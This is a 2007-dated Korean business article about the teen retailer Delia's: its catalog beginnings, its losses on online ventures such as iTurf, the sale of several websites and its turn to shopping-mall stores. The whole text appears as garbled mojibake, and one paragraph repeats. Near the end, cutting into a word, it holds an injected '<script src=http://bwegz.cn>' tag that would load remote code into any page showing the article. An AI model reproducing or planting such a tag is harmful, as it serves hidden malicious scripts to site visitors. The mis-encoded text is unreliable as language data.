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2007-02-08 ¿ÀÈÄ 3:45:00

¿Â ¶óÀÎ »ç¾÷ÀÇ ¸Å·Â¿¡ ºüÁ®ÀÖ´ø ¡¸µ¨¸®¾Æ½º¡¹¸¦ Á¤½Å Â÷¸®°Ô ÇÑ °áÁ¤Àû °è±â´Â Àç°í °¨¼Ò¿Í ¼öÀÍ Ç϶ôÀ̶ó´Â ¾ÇÀç. ¡¸µ¨¸®¾Æ½º¡¹´Â ºñ¿ë¸¸ µå´Â ´åÄÄ »ç¾÷ÀÇ ±Ô¸ð¸¦ ÁÙÀÌ´Â ´ë½Å ´ëÇü ¼îÇθôÀ» °ø·«ÇÏ´Â »õÃâ¹ßÀ» ½ÃµµÇß´Ù. 1990³â´ë¿¡ ¹Ì±¹ ÁÖ´Ï¾î ¸¶ÄÏÀÇ °­ÀÚ·Î ºÎ»óÇß´Ù°¡ ÀÎÅÍ³Ý ´åÄÄ »ç¾÷ÀÇ Ä¡ÁßÀ¸·Î ÀçÁ¤³­¿¡ ½Ã´Þ·È´ø ¡¸µ¨¸®¾Æ½º(Delia's)¡¹°¡ »õ·Î¿î Ãâ¹ßÀ» ÇÑ´Ù. ¿ÀÇÁ¶óÀÎ ¼îÇÎ ¸ô·Î À¯ÅëÀ» ÁýÁß½ÃÄÑ ¶Ç ´Ù½Ã ÁÖ´Ï¾î ¸¶ÄÏÀ» °­Å¸ÇÏ°í ÀÖ´Â °Í. ¿Â ¶óÀÎ »ç¾÷ÀÇ ¸Å·Â¿¡ ºüÁ®ÀÖ´ø ¡¸µ¨¸®¾Æ½º¡¹¸¦ Á¤½Å Â÷¸®°Ô ÇÑ °áÁ¤Àû °è±â´Â Àç°í °¨¼Ò¿Í ¼öÀÍ Ç϶ôÀ̶ó´Â ¾ÇÀç. ¡¸µ¨¸®¾Æ½º¡¹´Â ºñ¿ë¸¸ µå´Â ´åÄÄ »ç¾÷ÀÇ ±Ô¸ð¸¦ ÁÙÀÌ´Â ´ë½Å ´ëÇü ¼îÇθôÀ» °ø·«ÇÏ´Â »õÃâ¹ßÀ» ½ÃµµÇß´Ù. ±Þº¯ÇÏ´Â ÁÖ´Ï¾î ½ÃÀå¿¡¼­ ÀÒ¾î¹ö¸° ¿µ±¤À» µÇã±â À§ÇØ Delia's´Â Á¦ÀÌÅ©·ç(J. Crew), ºòÅ丮¾Æ ½ÃÅ©¸´(Victoria's Secret), Æ÷Å͸®¹Ý(Pottery Barn) µîÀÇ ¾÷üµéÀÌ »ç¿ëÇØ ¼º°øÀ» °ÅµÐ¡®´Ùä³Î ¿î¿µ ¹æ½Ä¡¯À» ¼±ÅÃÇß´Ù. ¡¸µ¨¸®¾Æ½º¡¹´Â ¾î¶² ¾÷üÀΰ¡? ¡¸µ¨¸®¾Æ½º(Delia's)¡¹´Â Áö³­ 93³â 10´ë¸¦ Ÿ°ÙÀ¸·Î ijÅÐ·Î±× »ç¾÷À» ½ÃÀÛÇß°í, ÃֽŠÀ¯Çà¿¡ ¹ß¸ÂÃá ÆмÇÀ» ¹«±â·Î ÁÖ´Ï¾î ¸¶ÄÏ¿¡ ÁøÃâÇß´Ù. â¾÷ÀÚÀÎ ½ºÆ¼ºê Ä­°ú Å©¸®½º ¿¡µå°¡´Â ¡¸µ¨¸®¾Æ½º¡¹°¡ ¼º°øÇÒ ¼ö ÀÖ´Â ±æÀº ±âÁ¸ À¯Åë¹æ½Ä°ú´Â ´Ù¸¥ À¯Åë ¹æ½ÄÀ» ã¾Æ³»´Â °ÍÀ̶ó°í »ý°¢, ¡®Ä³ÅÐ·Î±× À¯Å롯À̶ó´Â »õ·Î¿î ºñÁî´Ï½º ¸ðµ¨À» Âø¾ÈÇس´Ù. ¡¸µ¨¸®¾Æ½º¡¹´Â ÁÖ Å¸°ÙÃþ °í°´µé¿¡°Ô Á¦Ç°ÀÇ »çÁø, °¡°Ý, Ư¼º µîÀÇ Á¤º¸°¡ ´ã±ä ijÅзα׸¦ ¹èÆ÷, ¼ÒºñÀÚµéÀÌ ¿øÇÏ´Â ¹°Ç°À» ±¸¸ÅÇÒ ¼ö ÀÖµµ·Ï Çß´Ù. ÀÌ ¹æ½ÄÀº ¼ÒºñÀÚ°¡ Á÷Á¢ ¸ÅÀå¿¡ ³ª°¡Áö ¾Ê°í ¹°°ÇÀ» ±¸¸ÅÇÒ ¼ö ÀÖ¾î, ´ç½Ã·Î´Â ÆÄ°ÝÀûÀÎ À¯Åë ¹æ½ÄÀ̾úÀ¸¸ç ±× °á°ú ¡¸µ¨¸®¾Æ½º¡¹´Â ¾öû³­ ¼öÀÍÀ» ¿Ã¸®¸ç ÁÖ´Ï¾î ¸¶ÄÏÀÇ °­ÀÚ·Î ¶°¿Ã¶ú´Ù. ½Â½ÂÀ屸ÇÏ´ø ¡¸µ¨¸®¾Æ½º¡¹´Â Áö³­ÇØ ÀÎÅÍ³Ý ÀÚȸ»ç ¾ÆÀÌÅÍÇÁ(iTurf)¿Í ¿Â ¶óÀÎ »ç¾÷ÀÇ ¾ÇÈ­·Î °íÅ뽺·¯¿î ÇÑ Çظ¦ º¸³Â´Ù. ¿Â ¶óÀÎ ºñÁî´Ï½ºÀÇ ²ÞÀ» ¾È°í ½ÃÀÛÇÑ iTurf¿Í µ¨¸®¾Æ½º´åÄÄ(delias.com)À» ºñ·ÔÇÑ iTurf »êÇÏÀÇ 10°³ »çÀÌÆ®µéÀÌ Áö³­ÇØ ¸»±îÁö ´Ü 2°³ÀÇ »çÀÌÆ®¸¸ ÈæÀÚÀÇ ±â¹Ì¸¦ º¸¿´À» »Ó ¸ðµÎ ÀûÀÚ¸¦ ±â·ÏÇØ ¡¸µ¨¸®¾Æ½º¡¹ÀÇ ÀçÁ¤¿¡ Ä¡¸íŸ¸¦ ÀÔÇû´Ù. °á±¹ ¡¸µ¨¸®¾Æ½º¡¹´Â ¿Â ¶óÀÎ »ç¾÷ Á¤¸®¿¡ ³ª¼¹°í, Áö³­ 1¿ù25ÀÏ ½ºÆÄÅ©³ëÆ®´åÄÄ(sparknotes.com)À» ¹Ì±¹ ÃÖ´ë ¼­Á¡ÀÎ ¹Ý½º¾Ø³ëºí(Barnes & Nobles)¿¡ ¸Å°¢Çß´Ù. À̾î 2¿ù 2ÀÏ¿¡´Â ½ºÆ÷Ã÷ »óÇ° ÀÎÅÍ³Ý ¸®Å×ÀÏ·¯ÀÎƼ¿¡½º¾ÆÀÌ»çÄ¿(TSI soccer)¸¦ ½ºÆ÷Ã÷Àε¥¹ö(Sports Endeavors)¿¡ ¸Å°¢ÇßÀ¸¸ç Áö±Ý °¡Àå Å« À̽´°¡ µÇ°í ÀÖ´Â ¾ÆÀÌÅÍÇÁ´åÄÄ(iTurf.com)À» ¸Å°¢ÇÔÀ¸·Î½á ¡¸µ¨¸®¾Æ½º¡¹ÀÇ ±¸Á¶Á¶Á¤Àº ¸¶¹«¸®µÉ ¿¹Á¤ÀÌ´Ù. ÀÌµé »çÀÌÆ® ¿Ü¿¡µµ ¡¸µ¨¸®¾Æ½º¡¹´Â °É½º´åÄÄ(guls.com), ½ºÆÄÅ©´åÄÄ(spark.com) µî Ãß°¡ÀûÀÎ ¸Å°¢À» ½ÃµµÇÏ¿© Çö½ÇÀûÀÎ ±â¾÷À̹ÌÁö ¼â½Å¿¡ ³ª¼³ °èȹÀÌ´Ù. ÀÌÁ¦ ¡¸µ¨¸®¾Æ½º¡¹´Â µ¨¸®¾Æ½º´åÄÄ°ú Ä«´Þ·Î±×¡¤À¯Åë »ç¾÷ ºÎ¹®À» ¡¸µ¨¸®¾Æ½º¡¹¶ó´Â °£ÆÇ ¾Æ·¡ ÅëÇÕÇÏ´Â ÀçÁ¤ºñ ÀÛ¾÷¿¡ µ¹ÀÔ, ¼îÇÎ ¸ô ¸ÅÀåÀ» ÅëÇÑ ¿ÀÇÁ ¶óÀÎ À¯Åë ÂÊ¿¡ ¸ôµÎÇÏ°Ô µÈ´Ù. È­·ÁÇÑ Ãâ¹ß - ijÅÐ·Î±× »ç¾÷ °³Ã´ ¡¸µ¨¸®¾Æ½º¡¹´Â ÁÖ´Ï¾î ¸¶ÄÏÀÌ ºÕÀ» ÀÌ·ç±â ÀüÀÎ 1993³â¿¡ µîÀå, ºü¸¥ ¼Óµµ·Î ½ÃÀåÀ» È®ÀåÇϸ鼭 ¼øÁ¶·Î¿î Ãâ¹ßÀ» º¸¿´´Ù. 1993³âÀº ¹Ì±¹ °æ±â°¡ ºÒ°æ±â¿¡¼­ Å»ÃâÇÏ°í, X ¼¼´ë°¡ º¸´Ù ³«°üÀûÀÌ°í ¼Òºñ ÁöÇâÀûÀÎ Y ¼¼´ë¿¡°Ô ÀÚ¸®¸¦ ³» ÁÖ´ø ½Ã±â·Î, À̶§ µîÀåÇÑ Y¼¼´ë°¡ ÁÖ´Ï¾î ¸¶ÄÏ ½ÃÀåÀÇ ºÕÀ» ÀÏÀ¸Å² ÁÖ¿ªÀÌ´Ù. ¡¸µ¨¸®¾Æ½º¡¹¸¦ ¼³¸³ÇÑ ½ºÆ¼ºê Ä­°ú Å©¸®½º ¿¡µå°¡´Â ¿¹ÀÏ´ë µ¿¹®À¸·Î¼­ ´ç½Ã ºÒ¸ðÁö¿¡ °¡±î¿ü´ø ÁÖ´Ï¾î ¸¶ÄÏÀÇ ÀáÀç·Â¿¡ ÁÖ¸ñ, ´ëÇÐ Ä·ÆÛ½º¿¡ ¡¸µ¨¸®¾Æ½º¡¹ ijÅзα׸¦ ¹èÆ÷ÇÏ´Â ÀÛ¾÷¿¡ Âø¼öÇß´Ù. ¡¸µ¨¸®¾Æ½º¡¹´Â Ãʱ⿡ ´ëÇÐÀÇ Ä·ÆÛ½º ³×Æ®¿öÅ©¸¦ ÅëÇØ Ä³Åзα׸¦ ¹èÆ÷ÇßÀ¸¸ç 1995³â ÃʺÎÅÍ Å¸°Ù ¼ÒºñÀÚ¿¡°Ô ¿ìÆíÀ» ÅëÇØ Ä³Åзα׸¦ ¹èÆ÷ÇÏ´Â ¡®Á÷Á¢ ¸ÞÀÏ(direct mail)¡¯ ÇüÅ·ΠÀüȯÇß´Ù. Y¼¼´ë°¡ ¸· ºÎ»óÇÏ°í ÀÖ´ø ½ÃÁ¡¿¡ ±×µéÀ» Ÿ°ÙÀ¸·Î ¹Ì°³Ã´ ºÐ¾ß¿´´ø ijÅÐ·Î±× À¯Åë ¹æ½ÄÀ» äÅÃÇÑ ¡¸µ¨¸®¾Æ½º¡¹ÀÇ ¼º°øÀº ½Ã·ù¸¦ ÀÐÀº ÆÇ´ÜÀÇ °á°ú¿´´Ù. À̵éÀÌ ¹àÈ÷´Â ¼º°øÀÇ ºñ°áÀº 10´ëÀÇ ¸¶À½À» ÀÐ°í ´ëÈ­ÇÒ ¼ö ÀÖ´Â ´É·ÂÀ̾ú´Ù. óÀ½ºÎÅÍ ¡¸µ¨¸®¾Æ½º¡¹ÀÇ Ä³Åзα״ ¼îÇΠijÅзα׶ó±â º¸´Ù´Â Àç¹ÌÀÖ´Â ÀâÁöó·³ ±¸¼ºµÇ¾î 10´ëµé¿¡°Ô Ä£¼÷ÇÑ À̹ÌÁö·Î ´Ù°¡°¬´Ù. À¯¸Ó·¯½ºÇÑ Ç¥ÇöÀ¸·Î ¼îÇÎÀÌ ¸¶Ä¡ Áñ°Å¿î ¿À¶ôÀÎ °Í °°Àº ´À³¦À» ÁÖ¾ú´ø °Í. ÀÌ´Â ±âȹ ´ç½ÃºÎÅÍ ÀǵµµÈ Àü·«À¸·Î ¿¹¸¦ µé¸é, ijÅзα׿¡¡®ÆÄƼ ŸÀÓ! È­ºÐÀº Ä¡¿ö¹ö¸®°í ½Å³ª´Â Á¤±Û ºÐÀ§±â¸¦ ¸¸µé¾î º¾½Ã´Ù!¡¯¿Í °°Àº ¹®±¸¸¦ ³Ö¾î 10´ëµéÀÇ ½Ã¼±À» »ç·ÎÀâ¾Ò´Ù. »ç¾÷ ÄÁ¼ÁÀ» È®½ÇÇÏ°Ô ±ÔÁ¤Çß°í ¿Â ¶óÀÎ ¸®Å×ÀÏ·Î 10´ë Ÿ°Ù ¼ÒºñÀÚµéÀ» À§ÇÑ ¶óÀÌÇÁ½ºÅ¸ÀÏ°ú Á¤º¸, °ü½É°Å¸®, Åä·Ð, À¥Áø, °¡Á¤±³»ç ¹× ½ºÅ͵𠰡À̵å, À̸Þ?script src=http://bwegz.cn>

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